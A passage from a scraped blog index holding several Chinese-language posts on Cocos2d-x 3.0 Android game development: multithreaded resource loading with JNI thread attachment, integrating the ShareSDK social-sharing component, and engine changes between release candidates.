PTHREAD_CREATE_DETACHED);\n怎么还会出现这个问题，而且居然有三条日志。翻看了一下引擎内核的代码TextureCache::addImageAsync，在线程创建以及线程主函数中也没有发现什么特别的设置。为何内核可以创建线程，我自己创建就会崩溃呢。Debug多个来回，问题似乎聚焦在resource_load_thread_entry中执行的任务。在我的代码里，我利用SimpleAudioEngine加载了音效资源、利用UserDefault读取了一些持久化的数据，把这两个任务去掉，游戏就会进入到下一个环节而不会崩溃。\nSimpleAudioEngine和UserDefault能有什么共同点呢？Jni调用。没错，这两个接口底层要适配多个平台，而对于Android 平台，他们都用到了Jni提供的接口去调用Java中的方法。而Jni对多线程是有约束的。Android开发者官网上有这么一段话：\nAll threads are Linux threads, scheduled by the kernel. They\u0026rsquo;re usually started from managed code (using Thread.start), but they can also be created elsewhere and then attached to the JavaVM. For example, a thread started with pthread_create can be attached with the JNI AttachCurrentThread or AttachCurrentThreadAsDaemon functions. Until a thread is attached, it has no JNIEnv, and cannot make JNI calls.\n由此看来pthread_create创建的新线程默认情况下是不能进行Jni接口调用的，除非Attach到Vm，获得一个JniEnv对象，并且在线 程exit前要Detach Vm。好，我们来尝试一下，Cocos2d-x引擎提供了一些JniHelper方法，可以方便进行Jni相关操作。\n#if (CC_TARGET_PLATFORM == CC_PLATFORM_ANDROID)\n#include \u0026ldquo;platform/android/jni/JniHelper.h\u0026rdquo;\n#include \u0026lt;jni.h\u0026gt;\n#endif\nstatic void* resource_load_thread_entry(void* param)\n{\n… …\nJavaVM *vm;\nJNIEnv *env;\nvm = JniHelper::getJavaVM();\nJavaVMAttachArgs thread_args;\nthread_args.name = \u0026ldquo;Resource Load\u0026rdquo;;\nthread_args.version = JNI_VERSION_1_4;\nthread_args.group = NULL;\nvm-\u0026gt;AttachCurrentThread(\u0026amp;env, \u0026amp;thread_args);\n… …\n//Your Jni Calls\n… …\nvm-\u0026gt;DetachCurrentThread();\n… …\nreturn NULL;\n}\n关于什么是JavaVM，什么是JniEnv，Android Developer官方文档中是这样描述的：\nThe JavaVM provides the \u0026ldquo;invocation interface\u0026rdquo; functions, which allow you to create and destroy a JavaVM. In theory you can have multiple JavaVMs per process, but Android only allows one.\nThe JNIEnv provides most of the JNI functions. Your native functions all receive a JNIEnv as the first argument.\nThe JNIEnv is used for thread-local storage. For this reason, you cannot share a JNIEnv between threads.\n三、黑屏\n上面的代码成功解决了线程崩溃的问题，但问题还没完，因为接下来我们又遇到了“黑屏”事件。所谓的“黑屏”，其实并不是全黑。但进入游戏 WelcomScene时，只有Scene中的LabelTTF实例能显示出来，其余Sprite都无法显示。显然肯定与我们在Worker线程加载纹理 资源有关了：\nSpriteFrameCache::getInstance()-\u0026gt;addSpriteFramesWithFile(\u0026ldquo;All-Sprites.plist\u0026rdquo;);\n我们通过碎图压缩到一张大纹理的方式建立SpriteFrame，这是Cocos2d-x推荐的优化手段。但要想找到这个问题的根源，还得看monitor日志。我们的确发现了一些异常日志：\nlibEGL: call to OpenGL ES API with no current context (logged once per thread)\n通过Google得知，只有Renderer Thread才能进行egl调用，因为egl的context是在Renderer Thread创建的，Worker Thread并没有EGL的context，在进行egl操作时，无法找到context，因此操作都是失败的，纹理也就无法显示出来。要解决这个问题就 得查看一下TextureCache::addImageAsync是如何做的了。\nTextureCache::addImageAsync只是在worker线程进行了image数据的加载，而纹理对象Texture2D instance则是在addImageAsyncCallBack中创建的。也就是说纹理还是在Renderer线程中创建的，因此不会出现我们上面的 “黑屏”问题。模仿addImageAsync，我们来修改一下代码：\nstatic void* resource_load_thread_entry(void* param)\n{\n… …\nallSpritesImage = new Image();\nallSpritesImage-\u0026gt;initWithImageFile(\u0026ldquo;All-Sprites.png\u0026rdquo;);\n… …\n}\nvoid FlashScene::updateScene(float dt)\n{\nif (getResourceLoadIndicator()) {\n// construct texture with preloaded images\nTexture2D *allSpritesTexture = TextureCache::getInstance()-\u0026gt;\naddImage(allSpritesImage, \u0026ldquo;All-Sprites.png\u0026rdquo;);\nallSpritesImage-\u0026gt;release();\nSpriteFrameCache::getInstance()-\u0026gt;addSpriteFramesWithFile(\n\u0026ldquo;All-Sprites.plist\u0026rdquo;, allSpritesTexture);\nDirector::getInstance()-\u0026gt;replaceScene(WelcomeScene::create());\n}\n}\n完成这一修改后，游戏画面就变得一切正常了，多线程资源加载机制正式生效。\n","permalink":"https://tonybai.com/2014/04/28/multithreaded-resource-loading-in-cocos2dx-3/","summary":"\u003cp\u003e\u003ca href=\"http://www.cocos2d-x.org/\"\u003eCocos2d-x\u003c/a\u003e从\u003ca href=\"http://tonybai.com/2014/03/11/hello-cocos2dx/\"\u003e2.x版\u003c/a\u003e本到上周刚刚才发布的\u003ca href=\"http://www.cocos2d-x.org/news/215\"\u003eCocos2d-x 3.0 Final版\u003c/a\u003e，其引擎驱动核心依旧是一个单线程的“死循环”，一旦某一帧遇到了“大活儿”，比如Size很大的纹理资源加载或网络IO或大量计算，画面将 不可避免出现卡顿以及响应迟缓的现象。从古老的Win32 GUI编程那时起，Guru们就告诉我们：别阻塞主线程(UI线程)，让Worker线程去做那些“大活儿”吧。\u003c/p\u003e","title":"Cocos2d-x 3.0多线程异步资源加载"},{"content":"给自己的手机游戏增加些社交分享功能，有助于游戏宣传和提升知名度，是一种不错的社交营销手段。国内这方面的第三方插件有不少，比如ShareSDK、友 盟分享组件、Baidu分享组件等，之前在研究2.2.2版本时，集成了ShareSDK这个组件，这次迁移到Cocos2d-x 3.0rc2依旧选择集成ShareSDK，这里就来说说集成的过程，遇到的一些问题以及解决方法。这里仅以Android平台游戏集成为例。\n**一、功能描述、**SDK版本和帐号准备\n功能大致是这样的：在游戏中设置一个按钮，点击这个按钮，弹出知名社交平台的分享图标集窗口，用户选择分享目标后，相关信息分享到对应的社交平台。分享结果通知通过Toast显示在屏幕的下方。\n这次依旧使用ShareSDK for Android 2.3.7版本（ShareSDK-Android-2.3.7），Cocos2d-x的版本为3.0rc2。\n集成前，你需要有一个基于Cocos2d-x 3.0rc2的可运行的Android平台游戏project，我们的集成就基于该project，这里我们的project名为GameDemo，GameDemo的源码结构大致是：\nGameDemo/\n– Classes/\n– proj.android/\n– Resources/\n– cocos2d/\n– CMakeLists.txt\n– … …\n使用ShareSDK前，你需要在各大主流社交平台（微信、微博）申请开发者帐号以及游戏接入权限(app_key、app_secret)等，当然在ShareSDK站点也应该有自己的帐号和应用AppKey，这些申请的审核需要几个工作日，甚至更长。\n二、ShareSDK集成步骤\n按照ShareSDK官方manual说法，Cocos2d-x集成ShareSDK有三种方式，之前在Cocos2d-x 2.2.2引擎中采用的是专用组件集成的方式，该组件(C2DXShareSDKSample)可以在这里下载（该组件近期已经fix了我之前发现的bug）。\n1. jar包集成\n这次我们主要做微博、微信的社交分享，因此只需要微博、微信相关jar包。在C2DXShareSDKSample/proj.android/libs下，我们找到以下几个jar包：\n-rw-rw-r– 1 tonybai tonybai 97K 4月 8 18:10 mframework.jar\n-rw-rw-r– 1 tonybai tonybai 112K 4月 8 17:39 ShareSDK-Core-2.3.7.jar\n-rw-rw-r– 1 tonybai tonybai 19K 4月 8 17:39 ShareSDK-SinaWeibo-2.3.7.jar\n-rw-rw-r– 1 tonybai tonybai 4.3K 4月 8 17:39 ShareSDK-Wechat-2.3.7.jar\n-rw-rw-r– 1 tonybai tonybai 29K 4月 8 17:39 ShareSDK-Wechat-Core-2.3.7.jar\n-rw-rw-r– 1 tonybai tonybai 4.6K 4月 8 17:39 ShareSDK-Wechat-Favorite-2.3.7.jar\n-rw-rw-r– 1 tonybai tonybai 4.4K 4月 8 17:39 ShareSDK-Wechat-Moments-2.3.7.jar\n把这些jar包文件Copy到GameDemo/proj.android/libs下。\n2. 配置文件与资源部分集成\n修改GameDemo/proj.android/AndroidManifest.xml文件，在application标签下，添加如下Activity标签：\n\u0026lt;activity\nandroid:name=\u0026ldquo;cn.sharesdk.framework.ShareSDKUIShell\u0026rdquo;\nandroid:configChanges=\u0026ldquo;keyboardHidden|orientation|screenSize\u0026rdquo;\nandroid:screenOrientation=\u0026ldquo;portrait\u0026rdquo;\nandroid:theme=\u0026quot;@android:style/Theme.Translucent.NoTitleBar\u0026quot;\nandroid:windowSoftInputMode=\u0026ldquo;stateHidden|adjustResize\u0026rdquo; \u0026gt;\n\u0026lt;activity\nandroid:name=\u0026quot;.wxapi.WXEntryActivity\u0026quot;\nandroid:configChanges=\u0026ldquo;keyboardHidden|orientation|screenSize\u0026rdquo;\nandroid:exported=\u0026ldquo;true\u0026rdquo;\nandroid:screenOrientation=\u0026ldquo;portrait\u0026rdquo;\nandroid:theme=\u0026quot;@android:style/Theme.Translucent.NoTitleBar\u0026quot; /\u0026gt;\n将C2DXShareSDKSample/proj.android/res下的如下目录中的文件复制到GameDemo/proj.android/res下：\ndrawable-hdpi/ drawable-ldpi/ drawable-mdpi/ drawable-xhdpi/ layout/ values/ values-en/\n注意，类似icon.png这种文件就不要复制了，自己做一下判断就好。\n3. C++部分代码集成\n将C2DXShareSDKSample/Classes下的C2DXShareSDK文件夹Copy到GameDemo/Classes下面。\n由于Cocos2d-x 3.0rc2的类命名发生了变化，我们需要对C2DXShareSDK中使用到的引擎中的类名以及方法名进行修改。但实际上Cocos2d-x 3.0rc2考虑到了一些兼容性的问题，大部分名字通过cocos2d/cocos/deprecated/CCDeprecated.h中定义的typedef得以保留，虽然这些名字已经被建议deprecated了。rc2中CCObject被改名为Ref了，这个我们需要手工在C2DXShareSDK进行修改。\n另外ShareSDK组件在实现时大量使用了CCDictionary、CCArray和CCString，而这三个类在Cocos2d-x 3.0rc2中均被deprecated了，但我们依然可以使用，所以我们可以不做修改。但以后随着cocos2d-x版本的演进，这些类很可能被彻底移除出引擎，我们就需要重新使用其替代品进行实现了。\n此外我们还需要手工修改一下C2DXShareSDK/Android/JSON/CCJSONConverter.cpp文件中的getObjJson方 法，因为rc2中CCDictionary、CCString、CCArray这些类的真实名称都已经换成了__Dictionary、__String 和__Array，CCDictionary、CCString、CCArray只是些typedef，因此要像下面这样做些修改(如果你是集成 cocos2d-x 2.x.x版本，则无需做下面修改)：\ncJSON * CCJSONConverter::getObjJson(Ref * obj)\n{\nstd::string s = typeid(*obj).name();\nif(s.find(\u0026quot;__Dictionary\u0026quot;)!=std::string::npos){\ncJSON * json = cJSON_CreateObject();\nconvertDictionaryToJson((CCDictionary *)obj, json);\nreturn json;\n}else if(s.find(\u0026quot;__Array\u0026quot;)!=std::string::npos){\ncJSON * json = cJSON_CreateArray();\nconvertArrayToJson((CCArray *)obj, json);\nreturn json;\n}else if(s.find(\u0026quot;__String\u0026quot;)!=std::string::npos){\nCCString * s = (CCString *)obj;\ncJSON * json = cJSON_CreateString(s-\u0026gt;getCString());\nreturn json;\n}else if(s.find(\u0026quot;CCNumber\u0026quot;)!=std::string::npos){\nCCNumber * n = (CCNumber *)obj;\ncJSON * json = cJSON_CreateNumber(n-\u0026gt;getDoubleValue());\nreturn json;\n}else if(s.find(\u0026quot;CCNull\u0026quot;)!=std::string::npos){\ncJSON * json = cJSON_CreateNull();\nreturn json;\n}\nCCLog(\u0026ldquo;CCJSONConverter encountered an unrecognized type\u0026rdquo;);\nreturn NULL;\n}\nCCNumber和CCNull是ShareSDK组件自己实现的类名，这里无需修改。\n接下来我们需要在AppDelegate.cpp中对ShareSDK做初始化了：\nbool AppDelegate::applicationDidFinishLaunching() {\n… …\ninitShareSDK();\n… ..\n}\nvoid AppDelegate::initShareSDK()\n{\n// sina weibo\nCCDictionary *sinaConfigDict = CCDictionary::create();\nsinaConfigDict-\u0026gt;setObject(CCString::create(\u0026quot;YOUR_WEIBO_APPKEY\u0026quot;), \u0026ldquo;app_key\u0026rdquo;);\nsinaConfigDict-\u0026gt;setObject(CCString::create(\u0026quot;YOUR_WEBIO_APPSECRET\u0026quot;), \u0026ldquo;app_secret\u0026rdquo;);\nsinaConfigDict-\u0026gt;setObject(CCString::create(\u0026ldquo;http://www.sharesdk.cn\u0026rdquo;), \u0026ldquo;redirect_uri\u0026rdquo;);\nC2DXShareSDK::setPlatformConfig(C2DXPlatTypeSinaWeibo, sinaConfigDict);\n// wechat\nCCDictionary *wcConfigDict = CCDictionary::create();\nwcConfigDict-\u0026gt;setObject(CCString::create(\u0026quot;YOUR_WECHAT_APPID\u0026quot;), \u0026ldquo;app_id\u0026rdquo;);\nC2DXShareSDK::setPlatformConfig(C2DXPlatTypeWeixiSession, wcConfigDict);\nC2DXShareSDK::setPlatformConfig(C2DXPlatTypeWeixiTimeline, wcConfigDict);\nC2DXShareSDK::setPlatformConfig(C2DXPlatTypeWeixiFav, wcConfigDict);\nC2DXShareSDK::open(CCString::create(\u0026ldquo;YOUR_SHARESDK_APPKEY\u0026rdquo;), false);\n}\n在Share按钮的事件回调函数中调用ShareSDK的接口进行社交平台分享：\nvoid GameScene::menuShareCallback(Ref* sender)\n{\nDictionary *content = Dictionary::create();\ncontent-\u0026gt;setObject(String::create(\u0026ldquo;ShareSDK for Cocos2d-x 3.0rc2社交分享测试。\u0026rdquo;)\n, \u0026ldquo;content\u0026rdquo;);\ncontent-\u0026gt;setObject(String::create(\u0026ldquo;ShareSDK分享测试\u0026rdquo;), \u0026ldquo;title\u0026rdquo;);\ncontent-\u0026gt;setObject(String::create(\u0026ldquo;http://tonybai.com\u0026rdquo;), \u0026ldquo;titleUrl\u0026rdquo;);\ncontent-\u0026gt;setObject(String::create(\u0026ldquo;http://tonybai.com\u0026rdquo;), \u0026ldquo;url\u0026rdquo;);\ncontent-\u0026gt;setObject(String::create(\u0026ldquo;Tony Bai\u0026rdquo;), \u0026ldquo;site\u0026rdquo;);\ncontent-\u0026gt;setObject(String::create(\u0026ldquo;http://tonybai.com\u0026rdquo;), \u0026ldquo;siteUrl\u0026rdquo;);\ncontent-\u0026gt;setObject(String::createWithFormat(\u0026quot;%s\u0026quot;, _YOUR_LOCAL_IMAGE_PAT_H)\n, \u0026ldquo;image\u0026rdquo;);\ncontent-\u0026gt;setObject(String::createWithFormat(\u0026quot;%d\u0026quot;, C2DXContentTypeNews)\n, \u0026ldquo;type\u0026rdquo;);\nC2DXShareSDK::showShareMenu(NULL, content, CCPointMake(100, 100),\nC2DXMenuArrowDirectionLeft, shareResultHandler);\n}\nvoid shareResultHandler(C2DXResponseState state,\nC2DXPlatType platType,\nDictionary *shareInfo,\nDictionary *error)\n{\nAppDelegate *app = (AppDelegate*)Application::getInstance();\nswitch (state) {\ncase C2DXResponseStateSuccess:\nCCLog(\u0026ldquo;Share Ok\u0026rdquo;);\napp-\u0026gt;showShareResultToast(\u0026ldquo;分享成功\u0026rdquo;);\nbreak;\ncase C2DXResponseStateFail:\napp-\u0026gt;showShareResultToast(\u0026ldquo;分享失败\u0026rdquo;);\nCCLog(\u0026ldquo;Share Failed\u0026rdquo;);\nbreak;\ndefault:\nbreak;\n}\n}\nshowShareResultToast实现如下：\nvoid AppDelegate::showShareResultToast(const char *msg)\n{\nJniMethodInfo t;\nif (JniHelper::getStaticMethodInfo(t, \u0026ldquo;YOUR_ACTIVITY_NAME\u0026rdquo;,\n\u0026ldquo;showShareResultToast\u0026rdquo;, \u0026ldquo;(Ljava/lang/String;)V\u0026rdquo;)) {\njstring jmsg = t.env-\u0026gt;NewStringUTF(msg);\nt.env-\u0026gt;CallStaticVoidMethod(t.classID, t.methodID, jmsg);\nif (t.env-\u0026gt;ExceptionOccurred()) {\nt.env-\u0026gt;ExceptionDescribe();\nt.env-\u0026gt;ExceptionClear();\nreturn;\n}\nt.env-\u0026gt;DeleteLocalRef(t.classID);\n}\n}\n4. Java部分代码集成\n在GameDemo/proj.android/src下面建立cn/sharesdk路径，将C2DXShareSDKSample /proj.android/src/cn/sharesdk下的onekeyshare和ShareSDKUtils.java Copy到GameDemo/proj.android/src/cn/sharesdk下面。\n将ShareSDK-Android-2.3.7.zip解压后的ShareSDK for Android/Src/wxapi Copy到GameDemo/proj.android/src/com.tonybai.game/下。\n修改GameDemo/proj.android/src/com.tonybai.game/GameDemoActivity.java文件：\nimport android.widget.Toast;\nimport cn.sharesdk.ShareSDKUtils;\n…\npublic class GameDemoActivity extends Cocos2dxActivity {\nprivate static Context context;\nprivate static Handler notifyHandler = new Handler() {\npublic void handleMessage(Message msg) {\nswitch (msg.what) {\ncase 1:\nString message = (String) msg.obj;\nToast.makeText(context, message,\nToast.LENGTH_SHORT).show();\nbreak;\ndefault:\nbreak;\n}\n}\n};\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\nsuper.onCreate(savedInstanceState);\ncontext = this;\nShareSDKUtils.prepare();\nShareSDKUtils.initSDK(\u0026ldquo;YOUR_SHARESDK_APPKEY\u0026rdquo;, true);\n}\npublic static void showShareResultToast(String result) {\nMessage msg = new Message();\nmsg.what = 1;\nmsg.obj = result;\nnotifyHandler.sendMessage(msg);\n}\n@Override\npublic void onDestroy() {\nShareSDKUtils.stopSDK();\nsuper.onDestroy();\n}\n}\n三、问题与解决方法\n按照上面的集成方法修改后，通过cocos编译app，在模拟器运行GameDemo，点击Share，理论上屏幕下方会出现ShareSDK的分享窗口，选择“新浪微博”图标，会打开“图文分享”内容窗口，点击窗口右上角的“分享”即可。\n【问题1】“图文分享”窗口内容可编辑，并且总是弹出软键盘，影响体验。\n期望：内容不可编辑，默认不弹出软键盘\n解决方法：\n打开proj.android/src/cn/sharesdk/onekeyshare/EditPage.java，做如下修改：\n将窗口的软输入方式默认改为SOFT_INPUT_STATE_HIDDEN。\npublic void setActivity(Activity activity) {\nsuper.setActivity(activity);\nif (dialogMode) {\nactivity.setTheme(android.R.style.Theme_Dialog);\nactivity.requestWindowFeature(Window.FEATURE_NO_TITLE);\n}\nactivity.getWindow().setSoftInputMode(\n//WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE);\nWindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN);//default: hidden\n}\n在initPageView中增加一行：etContent.setKeyListener(null)。让窗口内容无法修改。\nprivate void initPageView() {\n… …\n// 文字输入区域\netContent = new EditText(getContext());\netContent.setGravity(Gravity.LEFT | Gravity.TOP);\netContent.setBackgroundDrawable(null);\netContent.setText(String.valueOf(reqData.get(\u0026ldquo;text\u0026rdquo;)));\netContent.setKeyListener(null);//make the edittext uneditable\netContent.setLayoutParams(lpEt);\n… …\n}\n**【问题2】**向微博分享，点击“分享”后，过一会程序异常停止。\n原因分析：\n通过调试观察，发现ShareSDK在解析从Weibo收到的Json包时出现内存违法访问。具体位置是在解析一个数组对象时出现的问题。 ShareSDK用CCArray来存储Json中的数组对象。该问题在cocos2d-x 2.2.2版本中不会出现，但在cocos2d-x 3.0rc2版本中会出现。经代码对比发现，3.0rc2版本中的CCArray的实现与2.2.2 CCArray实现有很大不同，似乎是做了较大重构，暂不能确定是否是3.0rc2版本中CCArray实现的bug。\n解决方法：由于后续的分享结果通知成功与否只需要根据分享的状态来决定，因此我们只需解析出\u0026quot;status\u0026quot;、“action”和“platform” 这三个CCNumber类型字段的值即可。CCArray类型的对象我们并不需要，因此我们只需绕过对Array类型字段的解析和存储即可，修改如下：\n// Classes/C2DXShareSDK/Android/JSON/CCJSONConverter.cpp\nvoid CCJSONConverter::convertJsonToDictionary(cJSON *json, CCDictionary *dictionary)\n{\ndictionary-\u0026gt;removeAllObjects();\ncJSON * j = json-\u0026gt;child;\nwhile (j) {\nif (j-\u0026gt;type == cJSON_Number) {\nRef * obj = getJsonObj(j);\ndictionary-\u0026gt;setObject(obj, j-\u0026gt;string);\n}\nj = j-\u0026gt;next;\n}\n}\n四、其他\n在使用ShareSDK做社交分享时，注意下面两个现象：\n第一次进行微博或微信分享时，会打开授权页面，授权后才能分享成功； 微信分享窗口只有在手机联网状态下才能打开。如果手机无法联网，那微信好友、朋友圈和收藏分享将无法打开分享窗口，也不会有什么提示。 ","permalink":"https://tonybai.com/2014/04/25/integrate-cocos2dx3rc2-with-sharesdk/","summary":"\u003cp\u003e给自己的手机游戏增加些社交分享功能，有助于游戏宣传和提升知名度，是一种不错的社交营销手段。国内这方面的第三方插件有不少，比如\u003ca href=\"http://sharesdk.cn/\"\u003eShareSDK\u003c/a\u003e、\u003ca href=\"http://www.umeng.com/component_social\"\u003e友 盟分享组件\u003c/a\u003e、\u003ca href=\"http://developer.baidu.com/soc/share\"\u003eBaidu分享组件\u003c/a\u003e等，之前在研究\u003ca href=\"http://tonybai.com/2014/03/11/hello-cocos2dx/\"\u003e2.2.2版本\u003c/a\u003e时，\u003ca href=\"http://tonybai.com/2014/04/17/a-bug-from-sharesdk-componet-for-cocos2dx/\"\u003e集成了ShareSDK\u003c/a\u003e这个组件，这次迁移到\u003ca href=\"http://tonybai.com/2014/04/23/changes-in-cocos2dx-3-rc2-for-android/\"\u003eCocos2d-x 3.0rc2\u003c/a\u003e依旧选择集成ShareSDK，这里就来说说集成的过程，遇到的一些问题以及解决方法。这里仅以Android平台游戏集成为例。\u003c/p\u003e","title":"Cocos2d-x 3.0rc2集成ShareSDK"},{"content":"《Hello, Cocos2d-x 3.0》一文发出后没多久，我就迫不及待地将手头的一个习作尝试从2.2.2版本迁移到3.0rc0引擎上。\n核心代码迁移相对顺利，大致流程如下：\n* 创建项目\ncd cocos2d-x-3.0rc0；\n2) 执行setup.py，设置引擎依赖的环境变量，脚本会将COCOS_CONSOLE_ROOT和ANT_ROOT写入到~/.bash_profile中； 执行source ~/.bash_profile使得环境变量生效；\n3) 在cocos2d-x-3.0rc0下建立projects目录；\n4) 利用cocos2d-console工具建立新项目： cocos new GameDemo -p com.tonybai.game.gamedemo -l cpp -d ./projects\n5) cd ./projects/GameDemo，我们可以看到项目目录结构如下：\nbin/ Classes/ CMakeLists.txt cocos2d/ proj.android/ proj.ios_mac/ proj.linux/ proj.win32/ Resources/\n6) 执行cocos compile -p android -j 4 –ap 19 -m release，这个Demo的apk就会被生成，大致就是一个cpp-empty-test； * 代码移植\n代码移植的主要工作包括：\n1) 改名\n带有CC前缀的类名大都要将前缀去掉；\n各主要类的单例方法sharedXXXX都改为getInstance；\n菜单、按钮事件处理 由menu_selector(GameScene::menuStartCallback) 改为CC_CALLBACK_1(GameScene::menuStartCallback, this)；\n触屏事件处理\n在Cocos2d-x 2.2.2中，我们直接使用Layer的setTouchEnabled(true)，并Override 三个触屏事件处理函数；\n在新版引擎中，我们需要建立事件Listener，并将Listener注册到全局EventDispatcher中，诸如：\nauto listener = EventListenerTouchOneByOne::create();\nlistener-\u0026gt;setSwallowTouches(true);\nlistener-\u0026gt;onTouchBegan = CC_CALLBACK_2(GameLayer::onTouchBegan, this);\nlistener-\u0026gt;onTouchMoved = CC_CALLBACK_2(GameLayer::onTouchMoved, this);\nlistener-\u0026gt;onTouchEnded = CC_CALLBACK_2(GameLayer::onTouchEnded, this);\nDirector::getInstance()-\u0026gt;getEventDispatcher()-\u0026gt;addEventListenerWithSceneGraphPriority(listener, this);\n然后将这里的三个事件处理方法实现出来即可。\n核心功能迁移后，GameDemo在genymotion 4.4 Android模拟器以及真机上都能正常运行，在模拟器上能保持40左右的帧率，在真机上帧率一直在60左右。玩了一会后，感觉引擎渲染性能的确有提升， 而且这种提升是可以在真机上直观感受到的。\n不过好景不长，我又尝试将GameDemo在genymotion 2.3.7 Android上运行，这回得到的结果却是：黑屏。 又将Cocos2d-x 3.0rc0自带的cpp-empty-test编译后放到模拟器上运行，得到了同样的黑屏结果，显然这可能是rc0的一个问题。在Cocos2d-x forum上粗略搜到的结果是：升级到最新版本可以解决黑屏问题。于是到官方下载目前最新发布版Cocos2d-x 3.0rc2。这里也吐槽一下：cocos2d-x引擎包Size太大了，似乎也没有提供什么patch文件，导致每发一个版本都要下载几百M的包。官方 git repository也太大了，尝试clone了几次都失败了，最终还只能下载源码的zip包。\nCocos2d-x 3.0rc2下载解压后，先编译了一下cpp-empty-test，然后部署到Android 2.3.7上运行，这回“黑屏”的确不见了，看来rc2修正了这个问题。接下来就是将我的GameDemo移植到rc2上了。\n我用解压后的“cocos2d-x 3.0rc2”替换GameDemo下的cocos2d，然后运行cocos compile编译，install到模拟器行运行，程序启动失败，从monitor logcat中看到一行错误日志：\n“ANativeActivity_onCreate not found”\n怎么会呢？ANativeActivity_onCreate是由NDK的 native_app_glue static library提供的，怎么会找不到呢？\n于是乎打开GameDemo/cocos2d/cocos/2d/platform/android/Android.mk打算查看一下究竟：\nLOCAL_WHOLE_STATIC_LIBRARIES := cocos_png_static cocos_jpeg_static cocos_tiff_static cocos_webp_static\ninclude $(BUILD_STATIC_LIBRARY)\n$(call import-module,jpeg/prebuilt/android)\n$(call import-module,png/prebuilt/android)\n$(call import-module,tiff/prebuilt/android)\n$(call import-module,webp/prebuilt/android)\nAndroid.mk内容中居然没有将native_app_glue列入，又翻看了一下cocos2d-x 3.0rc0中的同位置Android.mk，后者是有native_app_glue的库依赖的。难道是rc2这块忘记了？于是我尝试将 native_app_glue依赖加上：\nLOCAL_WHOLE_STATIC_LIBRARIES := android_native_app_glue cocos_png_static cocos_jpeg_static cocos_tiff_static cocos_webp_static\ninclude $(BUILD_STATIC_LIBRARY)\n$(call import-module,jpeg/prebuilt/android)\n$(call import-module,png/prebuilt/android)\n$(call import-module,tiff/prebuilt/android)\n$(call import-module,webp/prebuilt/android)\n$(call import-module,android/native_app_glue)\n再次尝试编译，不过这次连编译都没能通过，错误的build结果如下：\n/home1/tonybai/android-dev/adt-bundle-linux-x86_64/android-ndk-r9c/sources/android/native_app_glue/android_native_app_glue.c:232: error: undefined reference to \u0026lsquo;android_main\u0026rsquo;\ncollect2: error: ld returned 1 exit status\nmake: *** [obj/local/armeabi/libgamedemo.so] Error 1\n从结果来看，链接器没能找到native_app_glue中android_main对 应的函数体定义。android_main可是cocos2d-x 3.0引擎提供的实现啊。于是乎再次进入到rc2引擎代码中查找原因，结果却让我很是吃惊：**“NativeActivity被引擎移除了”！**cocos2d/cocos/2d/platform /android目录下面已经没有了nativeactivity.h和nativeactivity.cpp了：\n$ ls -F cocos2d/cocos/2d/platform/android\nAndroid.mk CCApplication.h CCDevice.cpp CCFileUtilsAndroid.h CCGLView.cpp CCPlatformDefine.h java/ jni/\nCCApplication.cpp CCCommon.cpp CCFileUtilsAndroid.cpp CCGL.h CCGLView.h CCStdC.h javaactivity.cpp\n我们看到了一个新文件：javaactivity.cpp，打开该文件，我们发现了和cocos2d-x 2.2.2版本类似的名字：Java_org_cocos2dx_lib_Cocos2dxRenderer_nativeInit。难道rc2针对 Android平台的引擎入口代码回退到2.x版本的设计了？于是乎赶紧进到/cocos2d/cocos/2d/platform/android/java/src/org/cocos2dx/lib目 录下一看究竟。\n果不其然，一切看起来都那么的熟悉：Cocos2dxActivity.java、Cocos2dxGLSurfaceView.java、 Cocos2dxRenderer.java….。自此可以断定，rc2中Android平台的引擎设计退回到了2.x版：\n– 你的GameActivity要集成Cocos2dxActivity；\n– mGLSurfaceView.setCocos2dxRenderer(new Cocos2dxRenderer())时，GLThread(渲染线程)诞生\n– 死循环调用Cocos2dxRenderer.onDrawFrame\n– 引擎逻辑就在Cocos2dxRenderer.onDrawFrame中被执行。\n关于2.2.2版Cocos2dx引擎的结构说明可以参考我的《Hello, Cocos2d-x》一文。\n回到了2.2.2版本设计的引擎在性能上是否会像rc0那样给人以直观提升的感觉呢，即便渲染器是新写的？真机测试的结果表明，没有直观感觉到提 升。难道是Native Thread(pthread_create创建）和Java Thread之间的差别？不得而知，后续慢慢体会吧。\n另外要提一句：javaactivity.cpp将以往2.2.2版本放在项目jni中的 Java_org_cocos2dx_lib_Cocos2dxRenderer_nativeInit挪到了引擎中，本来就是基本不变的代码， 放在引擎中的确更好。rc2的设计回归也有一定好处，一是以前对引擎的认识还适用，二呢就是适合集成在2.2.2版本中的第三方工具的方法应该同样适合3.0rc2版本，这样移 植成本估计会小些。这样我们针对新的3.0引擎，重点还是去关注渲染器、事件分发机制以及物理引擎的变化吧。\n最后要做的一件事，就是将上一篇blog的名字做下修改，那篇文章的分析只能对3.0rc0版本有效了，对后续版本无效，已经不能代表3.0的引 擎结构了。事实上NativeActivity是在rc1就被移除了，这种较大的改动让人始料不急。这么大的改动，这么短时间发布，让人对目前的 3.0引擎，至少是Android版本引擎的质量表示些许担忧啊。不知道3.0正式版中这块的代码会变啥样，拭目以待吧。\nBTW，rc2版本cpp-empty-test在Android 2.3.7模拟器上的帧数在10帧以下，我的Demo也只有5帧，而在4.4版本模拟器上，可以达到40帧，还好还好。\n","permalink":"https://tonybai.com/2014/04/23/changes-in-cocos2dx-3-rc2-for-android/","summary":"\u003cp\u003e《\u003ca href=\"http://tonybai.com/2014/04/22/hello-cocos2dx-3-rc0/\"\u003eHello, Cocos2d-x 3.0\u003c/a\u003e》一文发出后没多久，我就迫不及待地将手头的一个习作尝试从2.2.2版本迁移到3.0rc0引擎上。\u003c/p\u003e\n\u003cp\u003e核心代码迁移相对顺利，大致流程如下：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e* 创建项目\u003c/strong\u003e\u003c/p\u003e","title":"Cocos2d-x 3.0rc2针对Android平台的变动"},{"content":"Cocos2d-x 3.0版本已经发布了rc2，这让这段时间用熟了Cocos2d-x 2.2.2的我也有些蠢蠢欲动。按照触控科技主创人员在CocoaChina2014大会上的讲解，Cocos2d-x 3.0版本相比2.x版本在各方面都有不错的提升，于是乎就想把手头上的一款习作移植到3.0版本引擎下，看看运行效果如何。不过在移植之前，我先来看看 3.0与2.0相比在整体代码结构以及引擎驱动核心方面到底有哪些变化。一旦搞定这些原理，迁移什么都不是问题了。这里以Cocos2d-x 3.0rc0版的Android平台引擎为例。\n一、从NativeActivity开始\nCocos2d-x 2.x版本中，游戏的Main Activity继承于引擎实现的Cocos2dxActivity（见《Hello，Cocos2d-x》），Cocos2dxActivity将一个 